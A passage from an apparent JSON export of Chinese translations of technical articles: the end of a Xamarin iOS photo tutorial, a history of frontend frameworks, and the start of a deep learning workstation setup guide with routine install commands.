PHImageRequestOptions(),\n             // 3\n             (UIImage image, NSDictionary info) =>\n            {\n               // 4\n               imageCell.SetImage(image);\n            });\n\n        return imageCell;\n    }\n```\n\n\n\n我们对改变分解为以下几步:\n\n1. `indexPath` 包括了一个引用，它会返回哪一个集合视图。`Item` 属性是一个简单的索引。你通过这个索引获得了一个资源并且把它转换为 `PHAsset`。\n2. 你可以使用 `imageManager` 为一个资源去请求符合尺寸和填充模式的图片。\n3. 许多 `iOS` 框架使用延迟执行的方法，因为需要消耗时间去完成请求，例如，`RequestImageForAsset`，并且当完成的时候通过代理模式来通知。当请求完成的时候，代理方法会被调用，它包含了图片和相关的信息。\n4. 最后，图片会被设置在单元格上。\n\n构建并且运行。你会看到请求访问许可的提示。\n\n[![](https://cdn2.raywenderlich.com/wp-content/uploads/2016/06/Permission_Prompt-333x500.png)](https://cdn3.raywenderlich.com/wp-content/uploads/2016/06/Permission_Prompt.png)\n\n如果你选择了 _`OK`_，然而，这个应用程序......不会做任何事请。_所以_ 这令人沮丧！\n\n![Why_no_work](https://cdn3.raywenderlich.com/wp-content/uploads/2016/06/Why_no_work-248x320.png)\n\n`iOS` 考虑到访问用户的照片库是非常隐私的事情，并且提示用户去给予许可权限。然而，应用程序必须注册到这个通知，当用户授权了应用程序可以使用，所以它能重新加载视图。你会在接下来看到怎么做。\n\n## 为访问权限的改变注册通知消息\n\n首先，你将对 `PhotoCollectionDataSource` 类增加一个方法，来通知它去重新检索照片。在类的末尾增加这些内容:\n\n\n```\n    public void ReloadPhotos()\n    {\n        imageFetchResult = PHAsset.FetchAssets(PHAssetMediaType.Image, null);\n    }\n```\n\n\n之后，打开 _`ViewController.cs`_ z且增加以下框架 \n\n```\n    using Photos;\n```\n\n之后，增加这段代码到 `ViewDidLoad()`:\n\n```\n    // 1\n    PHPhotoLibrary.SharedPhotoLibrary.RegisterChangeObserver((changeObserver) =>\n    {\n        //2\n        InvokeOnMainThread(() =>\n        {\n            // 3\n            photoDataSource.ReloadPhotos();\n            collectionView.ReloadData();\n        });\n    });\n```\n\n\n以上代码干了什么:\n\n1. 这个应用程序在共享的照片库上注册了一个代理，每当照片库有变更的时候被调用。\n2. `InvokeOnMainThread()` 确保了 `UI` 变化始终在主线程上执行; 否则会发生程序崩溃。\n3. 你调用 `photoDataSource.ReloadPhotos()` 去重新加载照片，并且 `collectionView.ReloadData()`，告诉集合视图重新绘制。\n\n最后，你会处理初始状态的情况，这个应用程序还没有被给予对照片的访问权限，并且请求权限。\n\n在 `ViewDidLoad()`，在 `photoDataSource` 设置中增加这些代码:\n\n\n```\n    if (PHPhotoLibrary.AuthorizationStatus == PHAuthorizationStatus.NotDetermined)\n    {\n        PHPhotoLibrary.RequestAuthorization((PHAuthorizationStatus newStatus) =>\n        { });\n    }\n```\n\n这个检查了目前认证的状态，并且若它是 `NotDetermined （不确定的）`，明确的发送请求去获取访问照片库的许可。\n\n为了再次触发照片库的访问权限，通过 _`模拟器 \\ 重置设定和内容`_ 来重置 `iPhone 模拟器`。\n\n构建和运行应用程序。你将被提醒为照片库的许可，并且当你在应用程序中按下 _`Ok`_，应用程序会显示为有所有照片的缩略图的集合视图。\n\n![Final Project Running](https://cdn5.raywenderlich.com/wp-content/uploads/2016/05/photo-collection-app-272x500.png)\n\n## 之后我们应该怎么办？\n\n你们可以通过 [这里](https://cdn1.raywenderlich.com/wp-content/uploads/2016/07/ImageLocation.zip) 下载完整的 `Visual Studio` 工程。\n\n在这篇指南中，你可以学习一些有关 `Xamarin` 是如何工作和使用来创建 `iOS` 应用程序的。 \n\n[`Xamarin` 指南网站](https://developer.xamarin.com/guides/) 提供了很多非常好的资源用于学习更多有关 `Xamarin` 平台的内容。为了更好的理解怎么构建跨平台的应用程序，查看 `Xamarin` 有关构建为 [`iOS`](https://www.xamarin.com/getting-started/ios) 和 [`Android`](https://www.xamarin.com/getting-started/android) 构建相同应用程序的指南。\n\n`微软` 购买了 `Xamarin` 引入了很多令人激动的改变。`微软` 构建会议上的公告和 [`Xamarin` 发展会议](https://blog.xamarin.com/xamarin-evolve-2016-recap/) 上的指导能给你有关 `Xamarin` 新的发展方向。`Xamarin` 也提供了来自于最新发展例会上的 [视频](https://evolve.xamarin.com/#sessions)，它提供了更多有关将 `Xamarin` 使用在产品上的未来方向。 \n\n你会考虑尝试用 `Xamarin` 来构建应用程序么？如果你有任何有关这个指导指南的问题或者建议，请在下方留言。\n"
  },
  {
    "path": "TODO/building-modern-web-applications-in-2017.md",
    "content": "\n> * 原文地址：[Choosing a frontend framework in 2017](https://medium.com/this-dot-labs/building-modern-web-applications-in-2017-791d2ef2e341)\n> * 原文作者：[Taras Mankovski](https://medium.com/@tarasm)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/building-modern-web-applications-in-2017.md](https://github.com/xitu/gold-miner/blob/master/TODO/building-modern-web-applications-in-2017.md)\n> * 译者：[LeviDing](https://github.com/leviding)\n> * 校对者：[sunui](https://github.com/sunui), [warcryDoggie](https://github.com/warcryDoggie)\n\n# 2017 年了，这么多前端框架，你会怎样选择？\n\n![](https://cdn-images-1.medium.com/max/800/1*T551HACMn9A95dnwpPK-eQ.png)\n\n图片来源: [Ember.js: 解决你框架疲劳的良药](http://brewhouse.io/blog/2015/05/13/emberjs-an-antidote-to-your-hype-fatigue.html)\n\n过去七年来，前端框架生态系统发展蓬勃。我们已经学了很多关于构建和维护大型应用的知识。我们看到了很多新想法的出现。其中一些新想法改变了我们构建 Web 应用的方式，而其他想法被废弃，因为它们起不到什么作用。\n\n在这个过程中，我们看到很多炒作和冲突的观点，选择一个框架变得困难重重。当您为长期维护一个应用的组织挑选框架时，更是难上加难。\n\n在本文中，我想描述我们对如何构建现代 Web 应用的理解的演变，并提出一种如何在多种技术中进行选择的方法。\n\n在开始前，我想先回顾一下，回到第一个使构建网络应用更像编程的库。 Backbone.js 于 2010 年 10 月发布，2013 年 3 月达到 1.0 版本。它是第一个广泛使用的采用模型与视图之间相分离的 JavaScript 库。\n\n![](https://cdn-images-1.medium.com/max/800/1*vqOV_K_r66lUwdFeABCWEQ@2x.png)\n\n图片来源：Angular Model 和 View 之间的关系 —— [http://backbonejs.org](http://backbonejs.org)\nBackbone.js 的 Model 表示数据和业务逻辑。它们触发视图层的变化。当改变事件触发的时候，显示模型数据的视图负责将该更改应用于 DOM。Backbone 并不知道您首选 HTML 模板的方法，需要开发者自行编写 render 函数解决如何更新 View 到 DOM。\n\n在 Backbone 1.0 诞生的时候，Angular.js 被发布并开始普及。它不像 Backbone 那样侧重于模型，而是侧重于使视图做的更好。\n\nAngular.js 采用了编译模型以使 HTML 动态化的想法。它允许使用指令将行为注入到 HTML 元素中。您可以将模型与视图进行绑定，并且当模板改变的时候，视图会自动更新。\n\nAngular.js 的流行度迅速增长，因为你很容易将 Angular.js 添加到任何项目中，并且上手简单。许多开发人员被 Angular.js 所吸引，因为它是由 Google 开发的，这赋予 Angular.js 天生的可靠度。\n\n大约在同一时间，Web 组件规范承诺使开发人员可以创建与其上下文分离的，并且易于与其他组件进行组合的可重用组件。\n\n[Web Components 规范](https://www.w3.org/standards/history/components-intro)是由四个独立的规范组合而成的。\n\n- HTML 模板 — 为组件提供 HTML 标记\n- 自定义元素 — 提供了一种创建自定义 HTML 元素的机制\n- Shadow DOM — 将组件的内部与渲染它的上下文隔进行离\n- HTML 导入 — 使将 Web 组件加载到页面中成为可能\n\nGoogle 的一个团队创建了一个补丁库，为当时所有浏览器提供 Web Components 支持。这个库被称为 Polymer，并于 2013 年 11 月开源。\n\nPolymer 是第一个使通过组合组件构建交互式应用成为可能的库。早期使用者受益于可组合性，但发现性能问题还是需要用框架来解决。\n\n同时，一小群开发人员受到 Ruby on Rails 思想的启发，希望创建一个基于约定的社区驱动的开源框架来构建大型 Web 应用。\n\n他们开始基于 SproutCore 2.0 进行开发。SproutCore 2.0 是一个基于 MVC 的框架，在模型、控制器和视图之间有明显的分隔。这个新框架叫做 Ember.js。\n\n创建基于约定的框架的第一个挑战是找到大型 Web 应用的通用模式。 Ember.js 团队查看了大型 Backbone 应用，以找到相似之处。\n\n他们发现应用的某些部分是一致的，而其他部分会有些改动。在这种地方就需要嵌套视图。\n\n他们还将 URL 视为 Web 应用架构中的关键角色。他们结合了嵌套视图的想法和 URL 的重要性，创建一个路由系统，作为入口点进入应用并控制初始视图呈现。\n\n![](https://cdn-images-1.medium.com/max/800/1*rx9bWvoWTaEJSY8qAuuh4A.png)\n\nEmber.js 的元素 —— 原文 [Ember JS 深入介绍](https://www.smashingmagazine.com/2013/11/an-in-depth-introduction-to-ember-js/)\n\nEmber 社区在 Ember.js 核心团队的领导下，于 2013 年 8 月发布了 Ember.js 1.0。它具有 MVC 架构，强大的路由系统和可编译模板的组件。像 Angular.js 和 Polymer 一样，Ember.js 主要依靠双向绑定来保持视图与状态同步。\n\n在 2014 年的年中，一个新的库开始引起开发者的注意。Facebook 为他们的平台创建了一个框架，并以 “React” 的命名发布。\n\n在其他的框架都依赖于对象突变和属性绑定的时候，React 引入了将诸如纯函数和组件参数之类的组件作为函数参数来处理的想法。\n\n![](https://cdn-images-1.medium.com/max/800/1*sUeInQGMBhFVqW-rHj1JZg.png)\n\n组件是返回 DOM 的函数 —— 原文 [https://facebook.github.io/react/docs/components-and-props.html#functional-and-class-components](https://facebook.github.io/react/docs/components-and-props.html#functional-and-class-components)\n\n当一个参数的值改变时，组件的 `render` 函数被调用并返回一个新的组件树。 React 将返回的组件树与虚拟 DOM 树进行比较，以确定如何更新真实的DOM。这种重新渲染所有内容并将结果与虚拟 DOM 进行比较的技术经实践证明是非常有效的。\n\n![](https://cdn-images-1.medium.com/max/800/1*cV-klTo3DKl0Uo2Znk3V6g.png)\n\n原文: [React.js Reconciliation](https://www.infoq.com/presentations/react-reconciliation)\n\nAngular.js 开发人员面临着 Angular.js 变更检测机制引发的性能问题。Ember 社区正在学习如何解决维护依赖于双向绑定和观察者模式的大型应用的挑战。\n\nReact 主攻的是 Polymer 所未能解决的问题。React 显示了如何提高组件架构的性能。 React 在基准测试中打败了 Ember 和 Angular.js。一些较有尝试新技术精神的 Backbone 开发人员将 React 作为视图添加到其应用中，以解决他们遇到的性能问题。\n\n为了应对 React 的威胁，Ember 核心团队制定了一项计划，将 React 提出的想法纳入 Ember 框架。他们认识到需要提升向后兼容性，并创建了一个版本升级的途径，允许现有应用升级到包含新 的 React-inspired 渲染引擎的 Ember 版本。\n\n在 4 个次要版本的更新过程中，Ember.js 已弃用 Views，将社区迁移到基于 CLI 的构建过程，并将基于组件的架构作为 Ember 应用开发的基础。逐渐对框架进行重要的重构的过程被称为“稳定无停滞”，成为 Ember 社区的基本宗旨。\n\n当 Ember 正在向 React 学习时，React 社区正在采用由 Ember 推广的路由。 大型 React 应用是使用 [React Router](https://github.com/ReactTraining/react-router) 编写的，该路由器是从用于 Ember 路由的 [router.js](https://github.com/tildeio/router.js/) 分支发展而来的。\n\nEmber 对我们构建现代 Web 应用最大的贡献之一是他们在使用命令行工具作为构建和部署 Web 应用的默认界面上的领导力和普及。此工具称为 EmberCLI。它启发了 React 的 [create-react-app](https://github.com/facebookincubator/create-react-app) 和 [AngularCLI](https://github.com/angular/angular-cli)。现在的每个 Web 框架都提供了一个命令行工具来简化 Web 应用的开发。\n\n在 2015 年上半年，Angular.js 的核心团队得出结论，他们的框架正在进入一个进化的死胡同。Google 需要一个开发人员可以用来构建强大的应用的工具，而 Angular.js 不能成为这个工具。他们开始研究一个新的框架，这将是 Angular.js 的精神继承者。 Angular.js 是在谷歌不是很支持的情况下流行起来的，而这个新框架则与 Angular.js 不同，得到了 Google 的全力支持。Google 分出了超过 30 多位开发人员，来开发这个被称为 Angular.js 精神继承者的框架。\n\n新框架的范围远远大于 Angular.js。Angular 团队将新框架称为平台，因为他们计划提供专业开发人员构建 Web 应用所需的一切。像 Ember 和 React 一样，Angular 使用基于组件的架构，但它是使 TypeScript 成为其默认编程语言的第一个框架。\n\n![](https://cdn-images-1.medium.com/max/800/1*c4T4WMmvhkQ4yc24dfzgMA.png)\n\n具有 TypeScript 的 Angular 组件 —— [https://github.com/johnpapa/angular-tour-of-heroes/blob/master/src/app/heroes.component.ts](https://github.com/johnpapa/angular-tour-of-heroes/blob/master/src/app/heroes.component.ts)\nTypeScript 提供类、模块和接口。它支持可选的静态类型检查，它对 Java 和 C＃ 的开发人员来说是一个非常棒的语言。具有 Visual Studio Code 编辑器对 TypeScript 代码提供了很棒的智能支持功能。\n\n![](https://cdn-images-1.medium.com/max/800/1*m6CUCh3LRpJNHV2axqtkAQ.png)\n\n对 Angular Apps 的智能支持 —— 原文：[http://rafaelaudy.github.io/simple-angular-2-app/](http://rafaelaudy.github.io/simple-angular-2-app/)\n\nAngular 是高度结构化和以公共标准为基础的，然而仍然存在配置机制的问题。它有一个强大的路由器。Angular 团队正在努力为 Google 开发人员从专业开发环境的角度提供一个全新的框架。对完整性的关注对整个 Angular 社区都非常有好处。\n\n在 2017 年 5 月，Polymer 2.0 改进了绑定系统，减少了对 `heavy polyfills` 的依赖，并与最新的 JavaScript 标准保持一致。新版本引入了一些突破性变化，并为用户升级到新版本提供了详细的计划。新的 Polymer 配备了一个命令行工具来帮助构建和部署 Polymer 项目。\n\n截至 2017 年 6 月，所有顶级框架都将组件架构作为开发范例。每个框架都提供路由作为将应用分解为逻辑块的一种手段。所有框架都可以使用像 Redux 这样的状态管理技术。React、Ember 和 Angular 都允许服务器端渲染 SEO 和快速初始启动。\n\n那么你怎么知道用什么工具来构建一个现代的 Web 应用呢？我建议你看看各个组织的人口统计数据，以确定哪个框架最适合。\n\nReact 是一个类似于一大张拼图中的一块的库。React 提供一个轻量级的视图层，并将其留给开发人员选择其余的架构。盒子里没有任何东西，所以你的团队可以完全控制你使用的一切。如果你有一个经验丰富的 JavaScript 开发人员团队，他们对于功能编程和不可变数据结构都很满意，那么 React 是一个不错的选择 React 社区在使用 Web 技术方面处于创新的前沿。如果你的组织需要使用相同的代码库来跨平台，那么你应该知道 React 允许你使用 React Native 编写本地的 Web，使用 ReactVR 编写 VR 设备。\n\nAngular 是一个非常适合有 Java 或 C＃ 背景的企业开发人员的平台。TypeScript 和 Intellisense 的支持将使这些开发人员感觉到非常熟悉。虽然 Angular 是新的，但它已经有很多第三方组件库了，公司可以立即购买并立即开始使用。Angular 团队承诺要快速迭代框架，使之更好，且不会再次破坏向后兼容性。Angular 可用于使用 NativeScript 构建高性能原生应用。\n\nEmber.js 是一个优化小团队和技能水平较高的独立开发者的生产力框架。其对配置上的约定，为新开发人员和组织长期维护大型项目提供了极好的起点。承诺的“稳定无停滞”已被证明是维护大型应用的有效方法，而不需要在最佳实践改变时进行重写。稳定性、成熟度和致力于创造共享代码，促生了一个生态系统，这个生态系统使得大多数开发的简易程度让人惊讶。如果您正在寻找一个长期项目的可靠框架，Ember 是一个很好的选择。\n\nPolymer 是一个对于希望创建单一样式指南，和要在整个组织中使用的组件集合的大型组织而言特别适合的框架。该框架提供可比较的开发工具。如果你想将一些现代化的功能应用在你的程序上，而不需要编写大量 JavaScript，那么 Polymer 是你们很不错的选择。\n\n我们正在了解如何为浏览器构建应用，并汇集好的想法。 所有框架的制作者都非常关心使用他们的库的人。 问题是哪个社区和生态系统是你的组织和用例的最佳选择。\n\n我希望这篇文章有助于揭示现代网络生态系统的发展，并帮助您构建下一代现代 Web 应用。\n\n在评论区留下你的看法吧。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/building-our-personal-deep-learning-rig-gtx-1080-ubuntu-16-04-cuda-8-0rc-cudnn-7-tensorflowmxnetcaffedarknet.md",
    "content": "\n> * 原文地址：[Build Personal Deep Learning Rig: GTX 1080 + Ubuntu 16.04 + CUDA 8.0RC + CuDnn 7 + Tensorflow/Mxnet/Caffe/Darknet](http://guanghan.info/blog/en/my-works/building-our-personal-deep-learning-rig-gtx-1080-ubuntu-16-04-cuda-8-0rc-cudnn-7-tensorflowmxnetcaffedarknet/)\n> * 原文作者：[Guanghan Ning](http://guanghan.info/blog/en/author/admin/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/building-our-personal-deep-learning-rig-gtx-1080-ubuntu-16-04-cuda-8-0rc-cudnn-7-tensorflowmxnetcaffedarknet.md](https://github.com/xitu/gold-miner/blob/master/TODO/building-our-personal-deep-learning-rig-gtx-1080-ubuntu-16-04-cuda-8-0rc-cudnn-7-tensorflowmxnetcaffedarknet.md)\n> * 译者：[RichardLeeH](https://github.com/RichardLeeH)\n> * 校对者：[TobiasLee](https://github.com/TobiasLee)，[fghpdf](https://github.com/fghpdf)\n\n# 搭建个人深度学习平台：GTX 1080 + Ubuntu 16.04 + CUDA 8.0RC + CuDNN 7 + Tensorflow/Mxnet/Caffe/Darknet\n\n我在 TCL 的实习即将结束。在回校参加毕业典礼之前，我决定搭建自己的个人深度学习平台。我想我不能真的依赖于公司或实验室的机器，毕竟那工作站不是我的，而且开发环境可能是一团糟(它已经发生过一次)。有了个人平台，我可以方便地通过 teamViewer 随时登录我的深度学习工作站。我有机会从头开始搭建平台。\n\n在本文中，我将介绍 PC 平台搭建深度学习的整个过程，包括硬件和软件。在此，我分享给大家，希望对具有相同需求的研究人员和工程师有所帮助。由于我使用 **GTX 1080、Ubuntu 16.04、CUDA 8.0RC、CuDNN 7** 搭建平台，这些都是最新版本。以下是这篇文章的概述：\n\n**硬件**\n\n1. 配件选择\n2. 搭建工作站\n\n**软件**\n\n3. 操作系统安装\n\n- 准备可引导安装的 USB 驱动器\n- 安装系统\n\n4. 深度学习环境安装\n\n- 远程控制：teamViewer\n- 开发包管理：Anaconda\n- 开发环境：python IDE\n- GPU 优化环境：CUDA 和 CuDNN\n- 深度学习框架：Tensorflow & Mxnet & Caffe & Darknet\n\n5. 开箱即用的深度学习环境：Docker\n\n- 安装 Docker\n- 安装 NVIDIA-Docker\n- 下载深度学习 Docker 镜像\n- 主机和容器之间共享数据\n- 了解简单的 Docker 命令\n\n## 硬件：\n\n### 配件选择\n\n我推荐使用 **PcPartPicker** 来挑选配件。它可以帮助你以最低价购买到配件，并为你检查所选配件的兼容性。他们还上线了一个 **youtube 频道**，在这个频道里他们提供了用于展示构建过程的视频。\n\n在我的搭建案例中，我使用他们的搭建文章作为参考，并创建了一个搭建清单，可以在 [这里](https://pcpartpicker.com/user/quietning/saved/#view=YP6v6h) 找到。以下是我搭建工作站使用的配件。\n![](http://guanghan.info/blog/en/wp-content/uploads/2016/07/IMG_20160707_191958-Copy.jpg)\n\n由于我们正在进行深度学习研究，一个好的 GPU 是非常有必要的。因此，我选择了新近发布的 GTX 1080。它虽然很难买到，但如果你注意到 newegg (新蛋网，美国新蛋网是电子数码产品销售网站) 上的捆绑销售，一些人已经囤到货并组合 [GPU + 主板] 或 [GPU + 电源] 进行捆绑销售。你懂得，这就是市场。购买捆绑产品会比买一个价格高的要好。不管怎样，一个好的 GPU 将加快训练或者后期调参过程。以下是一些 GTX 1080 同其他品牌 GPU 的优势，在性能，价格和耗电量（节约日常用电量和用于购买合适 PC 电源的开支）。\n\n![](http://guanghan.info/blog/en/wp-content/uploads/2016/07/gtx_1.png)\n\n![](http://guanghan.info/blog/en/wp-content/uploads/2016/07/gtx_2.png)\n\n注意：相比于 12GB 内存的 TITAN X，GTX 1080 仅有 8GB，你可能手头宽裕或更慷慨，因此会选择使用堆叠式 GPU。然后记得选择一个带有更多 PCI 的主板。\n\n### 配件组装\n\n平台搭建从配件组装开始，我参考了 [这段视频(youtube 网站，需要翻墙)](https://www.youtube.com/watch?v=bHF2eEnXP6I) 教程。虽然各个部分略有不同，但搭建过程非常相似。我没有一点组装经验，但是有了这个教程，我就能在 3 小时内完成组装。（你可能花费更少的时间，但你知道，我非常谨慎）\n![](http://guanghan.info/blog/en/wp-content/uploads/2016/07/IMG_20160708_020941-Copy.jpg)\n\n## 软件：\n\n### 操作系统安装\n\n通常采用 Ubuntu 进行深度学习研究。但是有时你需要使用另一操作系统协同工作。例如，如果你使用 GTX 1080，同时又是一位 VR 开发者，你可能需要使用 Win10 进行基于 Unity 或其他框架的 VR 开发。以下我将介绍 Win10 和 Ubuntu 的安装。如果你仅对 Ubuntu 的安装感兴趣，你可以跳过 windows 安装。\n\n#### 准备可引导安装的 USB 驱动器\n\n使用 USB 盘安装操作系统非常方便，因为我们少不了它。由于 USB 盘将被格式化，所以您不希望在移动硬盘上发生这种情况。或者如果你有可写的 DVD，你可以用它们来安装操作系统，并保存它们以备将来使用，如果你能在那时再找到它们的话。\n\n由于在官方网站上已经很好的说明了，你可以访问 [Windows 10 页面](https://www.microsoft.com/en-us/software-download/windows10/) 学习如何制作 USB 驱动。对于 Ubuntu，你可以同样下载 ISO 并构建 USB 安装媒体或者刻录到 DVD 上。如果你正在使用 Ubuntu 系统，参考 Ubuntu 官方网站的 [教程](http://www.ubuntu.com/download/desktop/create-a-usb-stick-on-ubuntu)。 如果你在使用 Windows，参考 [本教程](http://www.ubuntu.com/download/desktop/create-a-usb-stick-on-windows)。\n\n#### 系统安装\n\n强烈建议安装 Windows 为主系统的双系统。我将会跳过 Win10 的安装，因为详细的安装指南可以从 [Windows 10 主页](https://www.microsoft.com/en-us/software-download/windows10/) 找到。需要注意的一点是，你需要使用激活码。如果在你的笔记本电脑上安装了 Windows 7 或 我 Windows 10，你可以在你的笔记本电脑底部找到激活码的标签。\n\n安装 Ubuntu16.04 时遇到点小麻烦，这有些出乎意料。这主要是因为一开始我就没有安装 GTX 1080 驱动。我将把这些分享给大家，以防你遇到同样的问题。\n\n#### 安装 Ubuntu：\n\n首先，插入用于安装系统的引导 USB。在我的 LG 显示屏上并没有出现任何东西，除了显示频率太高。但是显示屏是正常的，因为在另一台笔记本上测试过了。我试着将 PC 连接到 电视上，可以在电视上正常显示，但仅有桌面没有工具面板。我发现这是 NVIDIA 驱动的问题。因此我打开 BIOS，并设置集成显卡作为默认显卡并重启。记得要把 HDMI 从 GTX1080 端口上的接口切换到主板上。现在这个显示器工作得很好。我按照提示指南成功地安装了 Ubuntu。\n![](http://guanghan.info/blog/en/wp-content/uploads/2016/07/installing_ubuntu.png)\n\n为了使用 GTX1080，请访问 [本页面](http://www.nvidia.com/download/driverResults.aspx/104284/en-us) 获取 基于 Ubuntu 的 NVIDIA 显卡驱动。安装好驱动后，确保 GTX1080 在主板上。\n现在屏幕上显示 “You appear to be running an X server..”。 我参考了 [本链接](http://askubuntu.com/questions/149206/how-to-install-nvidia-ru) 来解决这个问题并安装驱动。我在这里引用下：\n\n- 确保登出系统。\n- 同时按住 CTRL+ALT+F1 并用你的授权进行登录。\n- 通过运行 sudo service lightdm stop 或 sudo stop lightdm 杀死当前的 X 服务会话。\n- 通过运行 sudo init 3 进入到第三等级 并安装 *.run 文件。\n- 当安装结束，你需要重启系统。如果没有重启，运行 sudo service lightdm start 或 sudo start lightdm 重新启动 X 服务。\n\n驱动器安装完后，我们需要重启并在 BIOS 中 将 GTX1080 设置为默认。此时，我们已经准备好了。\n\n我遇到的其他一些小问题，以备将来使用：\n- 问题: 当我重启时，我不能找到选项来选择 windows。\n- 解决方案: 在 ubuntu 下，**sudo gedit /boot/grub/grub.cfg**, 增加如下行：\n\n```\nmenuentry ‘Windows 10′{\n    set root=’hd0,msdos1′\n    chainloader +1\n}\n```\n\n- 问题: Ubuntu 不支持 百思买经常出售的这款 Belkin N300 无线适配器，\n- 解决方案: 参考 [本链接](https://ubuntuforums.org/showthread.php?t=1515747) 的指南, 问题将会被解决。\n- 问题: 安装好 teamViewer 后，提示 “dependencies not met”\n- 解决方案: 参考 [本链接](http://askubuntu.com/questions/362951/installed-teamviewer-using-a-64-bits-system-but-i-get-a-dependency-error/363083)。\n\n### 深度学习环境 \n\n#### 远程控制软件安装 (TeamViewer)：\n\ndpkg -i teamviewer_11.0.xxxxx_i386.deb\n\n#### 包管理工具安装 (Anaconda)：\n\nAnaconda 是一个易于安装的免费包管理、环境管理和 Python 分发工具包。其中收集了多达 720 个 开源包并提供免费的支持社区。它可以创建虚拟环境，这些虚拟环境并不会相互影响。当同时使用不同的深度学习框架，这非常有用，尽管它们配置不同。使用它来安装包页非常方便。极易安装，[参考这里](https://docs.continuum.io/anaconda/install#linux-install)。\n\n使用虚拟环境的一些命令：\n- source activate virtualenv\n- source deactivate\n\n### 开发环境安装 (Python IDE)：\n\n#### Spyder vs Pycharm?\n\nSpyder:\n\n- 优点：类 matlab，易于查看中间结果。\n\nPycharm：\n\n- 优点：模块化编码、更完整的 web 开发框架和跨平台的 IDE。\n\n在我的个人哲学中，我认为它们只是工具。当使用时每个工具就会派上用场。我将使用 IDE 来构建主项目。例如，使用 pycharm 构建框架。然后，我仅用 vim 修改代码。这并不是说 VIM 有多么的强大和花哨。之后，我将使用 Vim 修改代码。而是因为它是我想真正掌握的文本编辑器。对于文本编辑器，我们不需要掌握两个。在特殊情况下，我们需要频繁地检查IO、目录等，我们可能希望使用 spyder。\n\n#### 安装：\n\n1. spyder：\n\n- 你不需要安装 spyder，因为 Anaconda 中已经自带了 spyder\n\n2. Pycharm\n\n- 从 [官方网站](https://www.jetbrains.com/pycharm/) 下载。只需解压。\n- 设置 Pycharm 的 项目解释器为 Anaconda，并进行包管理。关注 [这里](https://docs.continuum.io/anaconda/ide_integration#pycharm)。\n\n3. vim\n\n- sudo apt-get install vim\n- 我使用的配置：[Github](https://github.com/Guanghan/VimIDE)\n\n4. Git\n\n- sudo apt install git\n- git config –global user.name “Guanghan Ning”\n- git config –global user.email “guanghan.ning@gmail.com”\n- git config –global core.editor vim\n- git config –list\n\n### GPU 优化计算环境安装 (CUDA 和 CuDNN)\n\n#### CUDA\n\n##### [安装 CUDA 8.0 RC](https://developer.nvidia.com/cuda-release-candidate-download): 选择 7.5 以上版本的 8.0 版本有两个原因：\n\n- 相比于 CUDA 7.5，CUDA 8.0 将会提高 GTX1080 (Pascal) 的性能。\n- ubuntu 16.04 似乎不支持 CUDA 7.5，因为你在官网上找不到它。因此 CUDA 8.0 是唯一的选择。\n\n##### [CUDA 入门指南](http://developer.download.nvidia.com/compute/cuda/8.0/secure/rc1/docs/sidebar/CUDA_Quick_Start_Guide.pdf?autho=1468531210_b9ce6047a5b7cb575fde7a6ffd6ad729&file=CUDA_Quick_Start_Guide.pdf)\n\n##### [CUDA 安装指南](http://developer.download.nvidia.com/compute/cuda/8.0/secure/rc1/docs/sidebar/CUDA_Installation_Guide_Linux.pdf?autho=1468531209_7b8d97cef95dffcb18e2fecb656b8a85&file=CUDA_Installation_Guide_Linux.pdf)\n\n1. sudo sh cuda_8.0.27_linux.run\n2. 按照命令提示\n3. 作为 CUDA 环境一部分，你需要在你主目录的 ~/**.bashrc** 文件中添加以下内容。\n\n- export CUDA_HOME=/usr/local/cuda-8.0\n- export LD_LIBRARY_PATH=${CUDA_HOME}/lib64\n- PATH=${CUDA_HOME}/bin:${PATH}\n- export PATH\n\n4. 验证是否安装 CUDA（记住需要重启 terminal）：\n\n- nvcc –version\n\n#### CuDNN（CUDA 深度学习库）\n\n##### [安装 CuDNN](https://developer.nvidia.com/cudnn)\n\n- 版本：CuDNN v5.0 for CUDA 8.0RC\n\n##### [用户指南](http://developer.download.nvidia.com/compute/machine-learning/cudnn/secure/v5/prod/cudnn_library.pdf?autho=1468531134_f12a2097cf581a5659608091857f7326&file=cudnn_library.pdf)\n\n##### [安装指南](http://developer.download.nvidia.com/compute/machine-learning/cudnn/secure/v5/prod/cudnn_library.pdf?autho=1468531134_f12a2097cf581a5659608091857f7326&file=cudnn_library.pdf)\n\n1. 方式一：(环境变量中添加 CuDNN 路径)\n\n- Extract folder “cuda”\n- cd <installpath>\n- export LD_LIBRARY_PATH=`pwd`:$LD_LIBRARY_PATH\n\n2. 方式二:  (将 CuDNN 的文件 拷贝到 CUDA 文件夹下。如果 CUDA 运行正常，它会通过相对路径自动找到 CUDNN)\n\n- tar xvzf cudnn-8.0.tgz\n- cd cudnn\n- sudo cp include/cudnn.h /usr/local/cuda/include\n- sudo cp lib64/libcudnn* /usr/local/cuda/lib64\n- sudo chmod a+r /usr/local/cuda/include/cudnn.h /usr/local/cuda/lib64/libcudnn*\n\n### 安装深度学习框架：\n\n#### Tensorflow / keras\n\n##### 首先安装 tensorflow\n\n1. [使用 Anaconda 安装](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/g3doc/get_started/os_setup.md#anaconda-installation)\n\n- conda create -n tensorflow python=3.5\n\n2. [在环境中使用 Pip 安装 Tensorflow](https://www.tensorflow.org/versions/r0.9/get_started/os_setup.html#anaconda-installation) (目前不支持 cuda 8.0。当 CUDA 8.0 的二进制文件发布后我将会进行更新)\n\n- source activate tensorflow\n- sudo apt install python3-pip\n- export TF_BINARY_URL=https://storage.googleapis.com/tensorflow/linux/gpu/tensorflow-0.9.0-cp35-cp35m-linux_x86_64.whl\n- pip3 install –upgrade $TF_BINARY_URL\n\n3. [直接使用源码安装 